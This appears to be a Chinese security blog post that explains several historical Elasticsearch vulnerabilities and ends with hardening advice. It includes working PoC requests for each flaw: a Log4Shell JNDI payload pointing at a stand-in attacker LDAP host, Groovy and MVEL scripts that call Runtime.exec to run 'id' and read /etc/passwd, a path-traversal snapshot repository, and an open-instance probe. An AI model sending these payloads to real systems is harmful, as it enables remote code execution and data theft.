elasticsearch

CVE-2021-44228: Log4j2 远程代码执行漏洞 (Log4Shell)

这是近年来影响范围最广的漏洞,ES 核心依赖 Log4j2 进行日志记录,因此深受影响。

  • 影响版本:Elasticsearch 5.0.0 - 7.16.0 (及其他使用受影响 Log4j 版本的组件)

  • 漏洞原理: Log4j2 提供的 Lookups 功能支持 JNDI (Java Naming and Directory Interface) 协议。当日志组件记录一段包含 ${jndi:ldap://attacker_server/exploit} 的字符串时,Log4j2 会主动解析该字符串,连接攻击者控制的 LDAP 服务,下载并执行恶意的 .class 文件,从而实现 RCE。

  • 复现过程 (PoC)

    1. 准备:攻击者搭建一个恶意的 LDAP 服务(使用工具如 JNDI-Injection-Exploit)。
    2. 触发:向 ES 发送请求,将 Payload 注入到会被记录到日志的字段中(例如 URL 参数、请求头、或者导致报错的查询语句)。
    # 示例:通过导致解析错误的查询触发日志记录
    curl -H "Content-Type: application/json" -XPOST 'http://localhost:9200/_search' -d '
    {
      "query": {
        "match": {
          "field_name": "${jndi:ldap://攻击者IP:1389/Exploit}"
        }
      }
    }'
    
    1. 结果:ES 服务器解析日志时触发 JNDI注入,连接 LDAP 并执行命令。

CVE-2015-1427: Groovy 脚本沙箱绕过 RCE

这是 ES 早期最经典的漏洞之一。ES 允许用户在查询中使用脚本(Scripting),早期默认语言是 Groovy

影响版本:Elasticsearch < 1.3.8, 1.4.0 - 1.4.2

漏洞原理: ES 虽然对 Groovy 脚本实施了沙箱(Sandbox)机制,限制了可以调用的类。但是沙箱过滤不严,攻击者可以通过 Java 的反射机制 (Reflection) 绕过沙箱,获取 Runtime 类并执行系统命令。

复现过程 (PoC): 利用 _search 接口,构造一个包含 malicious script 的 JSON 请求。

POST /_search HTTP/1.1
Host: localhost:9200
Content-Type: application/json

{
  "size": 1,
  "script_fields": {
    "lupin": {
      "lang": "groovy",
      "script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"
    }
  }
}

解释:这段脚本利用 Math 类作为跳板,反射加载 Runtime,然后执行 id 命令并将结果回显。

CVE-2014-3120: MVEL 动态脚本 RCE

在 Groovy 之前,ES 使用 MVEL 作为默认脚本语言,且未开启沙箱。

  • 影响版本:Elasticsearch < 1.2.0
  • 漏洞原理: 早期版本默认开启了动态脚本执行功能(script.disable_dynamic: false),且 MVEL 语言可以直接执行 Java 代码。攻击者可以直接调用 java.lang.Runtime
  • 复现过程 (PoC)
POST /_search HTTP/1.1
Host: localhost:9200
Content-Type: application/json

{
  "size": 1,
  "query": {
    "filtered": {
      "query": { "match_all": {}},
      "filter": {
        "script": {
          "script": "import java.util.*;\nimport java.io.*;\nnew java.util.Scanner(Runtime.getRuntime().exec(\"cat /etc/passwd\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
      }
    }
  }
}

CVE-2015-5531: 目录遍历/任意文件读取

除了 RCE,文件读取漏洞也十分危险。

  • 影响版本:Elasticsearch < 1.6.1

  • 漏洞原理: 该漏洞存在于 ES 的快照(Snapshot)API 中。在创建快照仓库时,程序没有对传入的路径参数进行严格的过滤。攻击者可以注册一个文件系统仓库,并利用 .. 符号跳转目录,读取系统敏感文件。

  • 复现过程

    1. 新建仓库
    PUT /_snapshot/test_repo
    {
        "type": "fs",
        "settings": {
            "location": "/usr/share/elasticsearch/repo/../../../../../../etc/passwd" 
        }
    }
    
    1. 利用报错读取: 由于直接读取可能会失败,攻击者通常利用 snapshot 恢复过程中的报错信息来获取文件内容,或者通过特定的 API 访问仓库状态来读取。

未授权访问 (Misconfiguration)

这不是一个具体的 CVE,但却是 ES 历史上导致数据泄露最主要的原因

  • 原理: 在 ES 6.8 和 7.1 之前,X-Pack Security(鉴权插件)是收费的,或者默认是不开启的。这导致大量 ES 实例直接暴露在公网(0.0.0.0:9200),任何人都可以进行增删改查。
  • 检测方式: 直接访问 IP:9200,如果无需密码直接返回 JSON 信息,即存在漏洞。

curl http://target-ip:9200/_cat/indices?v
# 如果列出了索引,说明数据已泄露

攻击者通常会运行脚本删除数据,并创建一个叫 meowread_me 的索引索要比特币。

防御

版本升级:尽可能使用最新的稳定版(8.x)。新版本默认开启 Security(SSL + 密码验证)。

禁止公网暴露

  • 不要将 9200/9300 端口直接暴露在公网。
  • 使用防火墙或云安全组限制访问 IP。

开启身份验证

  • 配置 xpack.security.enabled: true
  • 使用 Kibana 配置强密码。

限制脚本能力

  • elasticsearch.yml 中严格限制脚本的使用:script.allowed_types: none 或仅允许 painless(ES 专门开发的安全脚本语言)。

以低权限运行:永远不要用 root 用户启动 Elasticsearch。

posted @ 2026-01-14 18:54  安清灵风  阅读(4)  评论(0)    收藏  举报